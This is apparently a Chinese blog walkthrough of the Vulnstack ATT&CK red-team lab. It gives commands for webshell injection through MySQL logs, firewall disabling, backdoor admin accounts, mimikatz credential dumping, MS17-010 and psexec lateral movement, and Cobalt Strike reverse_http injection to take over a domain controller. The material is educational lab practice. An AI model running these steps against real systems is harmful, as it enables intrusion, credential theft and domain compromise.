ATT&CK实战系列-红队实践一

靶机下载

http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

靶场拓扑图

在这里插入图片描述

环境配置

vnet1网卡:
在这里插入图片描述
win7:
仅主机vnet1:192.168.52.143
NATvnet8:192.168.124.20
在这里插入图片描述
在这里插入图片描述
在C盘下运行phpstudy.
在这里插入图片描述
win2008:
仅主机IP:192.168.52.138
在这里插入图片描述
在这里插入图片描述
win2k3:
仅主机IP:192.168.52.141
在这里插入图片描述
在这里插入图片描述
攻击机kali2019:
NAT模式IP:192.168.124.26

DMZ区(win7渗透)

信息收集

存活主机及其湍口探测

nmap -sP 192.168.124.0/24
nmap -T4 -A -v -p 1-3309 192.168.124.20
-T(设置时间模板),规避防火墙


在这里插入图片描述

目录扫描

在这里插入图片描述
目录扫描基于字典,建议多找一些字典
发现存在phpmyadmin和beifen.rar,备份文件是yxcms的一个源码,访问两个页面
在这里插入图片描述
弱口令,root/root即可登录进去
在这里插入图片描述
将url参数中member改为admin,即可访问到管理员登录页面,弱口令admin/123456,即可登录。

web站点探测

在这里插入图片描述
通过探针,能够利用的有以下几点:
phpinfo信息
服务器banner信息(系统,apache,php版本)
Phpstudy后门(未测试)
MySQL数据库弱口令
MySQL数据库密码爆破

getshell

yxcms

在管理员后台,前台模板处创建shell.php一句换木马,这里需要知道文件路径,可以看官方文档或审计源码,发现路径:/yxcms/protected/apps/default/view/default/。
在这里插入图片描述
蚁剑连接
在这里插入图片描述

phpmyadmin

1.into_outfile写shell

条件:需要secure_file_priv为允许

secure-file-priv:限制了导入与导出的目录权限。只允许在规定的目录下才能导入。
通过以下命令查看secure-file-priv当前的值是什么
SHOW VARIABLES LIKE "secure_file_priv";或show global variables like "%secure%"; 
(1)NULL,表示禁止。
(2)如果value值有文件夹目录,则表示只允许该目录下文件(PS:测试子目录也不行)。
(3)如果为空,则表示不限制目录。

语法:

select "<?php @eval($_POST[yxcms]);?>" into outfile " C://phpstudy/www/info.php"

在这里插入图片描述
明显不满足条件

利用全局日志general_log

general_log:日志保存状态(ON代表开启 OFF代表关闭)
general_log_file:日志保存的文件
general_log的作用是记录用户输入的每条命令并保存在日志文件中,利用的思路是开启general_log,把general_log_file日志保存的文件指定为一个php文件,通过log日志写入webshell进行利用
执行以下命令查询日志配置

show variables like '%general%'
# % 为SQL语法中的通配符 替代 0 个或多个字符

在这里插入图片描述

set global general_log = "ON";  --开启全局日志

set global general_log_file='C:/phpStudy/WWW/log.php';  --指定新的日志路径

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

select '<?php eval($_POST[cmd]);?>' --执行SQL语句以写入日志

在这里插入图片描述
访问shell。
在这里插入图片描述
蚁剑连接,
在这里插入图片描述

利用慢查询日志slow_query_log

慢查询日志用来记录在 MySQL 中执行时间超过指定时间的查询语句

3.1查询慢查询日志目录 
show variables like '%slow%'; 
# show variables like 'slow%'; 
# SHOW VARIABLES LIKE 'slow_query%'
# % 为SQL语法中的通配符 替代 0 个或多个字符
3.2开启慢查询日志功能 
set global slow_query_log=on; 
3.3重新设置日志路径 
set global slow_query_log_file='C:/phpStudy/WWW/info2.php'; 
3.4执行sql命令 
select '<?php eval($_POST[godunt]);?>' from mysql.db where sleep(10);

在这里插入图片描述

利用错误日志
show variables like 'log_error'
set log_error='C:/phpStudy/WWW/info3.php'
利用phpmyadmin本身版本漏洞

参考连接:https://blog.csdn.net/m0_47418965/article/details/121708917

phpmyadmin写shell

https://blog.csdn.net/sunjikui1255326447/article/details/106440534

内网渗透

MSF渗透

信息收集

本机信息

网络配置信息

ipconfig /all

操作系统及其版本信息

systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"

查看当前登陆域和用户

net config workstation

判断主域

net time /domain

查看域内主机

net view

当前权限、账号信息

whoami /all

net user XXX /domain

查看域控

net group "domain controllers" /domain
本机服务信息	wmic service list brief

启动程序信息	wmic startup get command,caption
计划任务	schtasks /query /fo LIST /v
主机开机时间	net statistics workstation
用户列表	
net user
net localgroup administrators
query user || qwinsta
客户端会话信息	net session
端口列表	netstat -ano

查询本机共享	
net share
wmic share get name,path,status

路由、ARP 缓存表	route print、Arp –A

防火墙相关配置	netsh firewall show config
代理配置情况	reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
远程连接服务	Netstat -ano

获取补丁信息

Systeminfo
wmic qfe get caption,description,hotfixid,installedon

获取安装软件

wmic product get name,version
echo %PROCESSOR_ARCHITECTURE%

获取本机路由

route print -4

获取ARP缓存

arp -a

进程列表

tasklist /v
wmic process list brief

端口列表

netstat -ano
防火墙信息

防火墙配置

netsh firewall show config

修改防火墙配置

win2003前
netsh firewall add allowedprogram c:\nc.exe "allow nc" enable  ---允许指定程序全部连接
win2003后
netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C:\nc.exe"   --允许指定程序进入
netsh advfirewall firewall add rule name="pass nc" dir=out action=allow program="C:\nc.exe"   --允许指定程序退出
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow  --允许3389放行

关闭防火墙

win2003前
netsh firewall set opmode disable
win2003后
netsh advfirewall set allprofiles state off

尝试远程桌面登录

查看3389端口:
在这里插入图片描述
没有回显,即3389并没有开启,我们使用以下命令开启它(win7、win2003、winxp),运行后显示3389端口已经成功开启(关闭命令把如下0都换成1):

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

在这里插入图片描述
添加用户

net user test @!FuckSEC!@ /add # 添加账户密码
net localgroup administrators test /add # 给test账户添加为管理员权限
net user test # 查询是否成功添加test用户

在这里插入图片描述
使用账号:test,密码:@!FuckSEC!@ 登录远程桌面。但是登陆失败,nmap扫描3389端口发现状态为filtered。查看win7,防火墙开启了阻止所有与未在允许程序列表中的程序的连接,换句话说,设置了白名单,只能本地连接。
此时思路一般如下:
1.尝试关闭防火墙
2.尝试使用隧道连接3389
因为是打靶机,练习为主,两种方式都尝试一下

隧道链接3389

使用HTTPS协议隧道,
工具:https://github.com/L-codes/Neo-reGeorg
生成webshell,密码为shy

python3 neoreg.py generate -k shy

在这里插入图片描述
利用蚁剑将webshell上传至web服务器,访问webshell,并在Kali终端输入一下命令进行监听。

python3 neoreg.py -k 123456 -u http://192.168.124.24/tunnel.php

在这里插入图片描述
修改proxychains配置文件
在这里插入图片描述
连接远程桌面
在这里插入图片描述
在这里插入图片描述
因为远程登录会断开该主机当前的连接,为了不惊动管理员,所以一般这里尽量不要远程登录。

上线MSF

权限提升

在这里插入图片描述
然后迁移进程,找到一个64位且权限为SYSTEM的进程进行迁移
在这里插入图片描述
在这里插入图片描述

加载mimikatz抓密码

加载mimikatz模块来抓取密码的话,可能抓不到密码,msf上也提示已经被kiwi取代
在这里插入图片描述
加载kiwi模块,抓取用户密码
获取到账户的明文密码,administrator/hongrisec@2019!

load kiwi
creds_all

在这里插入图片描述

清除事件日志

在这里插入图片描述
关闭主机的防火墙并打开3389端口,可以远程桌面连接

netsh advfirewall set allprofiles state off  //关闭防火墙
netsh advfirewall show allprofiles state	//查看当前防火墙状态
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f //打开3389

在这里插入图片描述

寻找域控

通过ping来判断其他域内其他2台主机的ip地址,发现两台主机的ip地址52.138和52.141
在这里插入图片描述

横向渗透

端口探测

现在需要扫描另一个网段的主机,在msf中需要添加通往.52网段的路由
先退出msf的shell界面

run autoroute -s 192.168.52.0/24

在这里插入图片描述
查看需要配置的参数,设置上本地的ip地址

set SRHOST 127.0.0.1

在这里插入图片描述
配置完成后,run运行,然后修改下代理的配置文件

vim /etc/proxychains.conf

在这里插入图片描述
挂上代理使用nmap扫描对.52网段的目标主机进行扫描,由于socks代理是tcp连接,这里nmap命令只能用tcp相关的,扫描速度较慢,若扫描失败,可以将proxychains配置文件里的dynamic_chain注释掉即可,别的不用注释
在这里插入图片描述
nmap扫描太慢,使用MSF的扫描模块
调用tcp端口扫描模块,设置目标地址,run

use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.52.138

分别对之前的两台主机进行端口扫描,都开放了445端口
在这里插入图片描述
在这里插入图片描述
先对.141主机进行ms17-010漏洞扫描,msf先搜索下ms17-010的模块,选用smb_ms17_010,发现存在漏洞。

search ms17_010
use 3
set RHOSTS 192.168.52.141

在这里插入图片描述
通过ms17_010_command命令执行来利用
使用命令执行添加一个新用户

use 2
set COMMAND net user test hongrisec@2022 /add
set RHOSTS 192.168.52.141

在这里插入图片描述
再将test用户添加到管理组

set COMMAND net localgroup administrators test /add

在这里插入图片描述
查看下是否添加成功

set COMMAND net localgroup administrators

在这里插入图片描述
通过之前的端口信息发现主机未开放3389端口,再把3389端口打开
注册表这里不加引号的话可能会执行失败

set COMMAND 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'

使用代理连接远程桌面到141主机

proxychains rdesktop 192.168.52 141

在这里插入图片描述
win2003主机拿下后,接下来是域控主机.138,同样是开放445端口
通过smb/psexec模块来利用

use exploit/windows/smb/psexec
set RHOSTS 192.168.52.138
set SMBDomain god
set SMBPass win7pass   //win7主机密码
set SMBUser Administrator  //哇in主机用户名
set LHOST 192.168.52.143
set LPORT 464
run

在这里插入图片描述
运行成功后,getsystem提权
在这里插入图片描述
进程迁移到svchost.exe
注意迁移所在的进程也必须是system权限,不然meterpreter会继承所在进程的权限,导致后续操作无法继续

migrate 124

在这里插入图片描述
在这里插入图片描述
加载kiwi模块抓取密码

load kiwi
creds_all

在这里插入图片描述

CS渗透

MSF派生CSwin7的shell

创建一个Listener
在这里插入图片描述
msf派生,发现成功上线。

background/bg
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true
set lhost 192.168.124.20
set lport 7777
set session 1
run

在这里插入图片描述
在这里插入图片描述
拿到CSshell后,一般先将回显时间由默认的60s改成1s

sleep 1

CS的shell,执行windows的命令时,只需要在命令前加shell就好
在这里插入图片描述
成功提权
在这里插入图片描述

横向移动

查看防火墙,关闭防火墙

shell netsh firewall show state
shell netsh advfirewall set allprofiles state off

获取域内目标,多执行几次,就会在Targets中找到局域网内的目标

net view

在这里插入图片描述
在这里插入图片描述
先抓取win7中的密码

hashdump
logonpasswords

在这里插入图片描述
在这里插入图片描述
执行完后,查看凭证
在这里插入图片描述

攻击域控

增加smb listener
在这里插入图片描述
随便挑选一个OWA的Targets,右键
在这里插入图片描述
填入用户名密码,选择刚刚创建的Listener,选择System的那个Session,点击Lauch
在这里插入图片描述
成功拿到域控权限
在这里插入图片描述
同样的方式拿下域内另一台主机

参考链接

phpmyadmin写shell的三种方法
https://blog.51cto.com/Jach1n/5291370

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值